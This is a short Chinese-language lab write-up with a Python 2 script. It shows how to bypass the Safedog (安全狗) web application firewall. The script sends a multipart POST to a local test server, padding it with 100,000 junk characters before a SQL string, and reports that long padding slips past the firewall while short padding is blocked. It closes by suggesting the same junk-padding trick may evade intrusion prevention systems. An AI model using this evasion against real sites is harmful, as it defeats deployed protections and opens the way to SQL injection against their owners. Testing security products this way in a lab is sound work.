import urllib2
url = "http://192.168.4.70/3.php"
header = {
'User-Agent' : 'letmetest',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
return "1"*m
def postdata(n):
data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
data += '%s\r\n' % "0"*n
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
data += 'select 1 from table\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
return data
request = urllib2.Request(url,postdata(100000),header)
response = urllib2.urlopen(request).read()
print response
测试步骤:
1:使用wamp搭建一个web环境,并且安装最新版本的安全狗,3.1.0.9833.
2:下面就开始测试了,用python写一个post提交,post提交的内容包括select 1 from table;
3:编写code:
注意postdata中的内容,输入长度为100000的时候,返回的结果如下图:

可以看到显示的内容为web服务器的内容。
当我将postdata的内容改为长度1000的时候,结果如下:

这样可以看到内容被安全狗阻拦了。
5:结论
看来安全狗貌似防范的内容受到长度的控制,用这种post的方法可以bypass。
drops上有一篇关于ips的bypass的文章,貌似此方法也可以bypass ips。
http://drops.wooyun.org/papers/4323
在敏感字符前面插入Ng个垃圾字符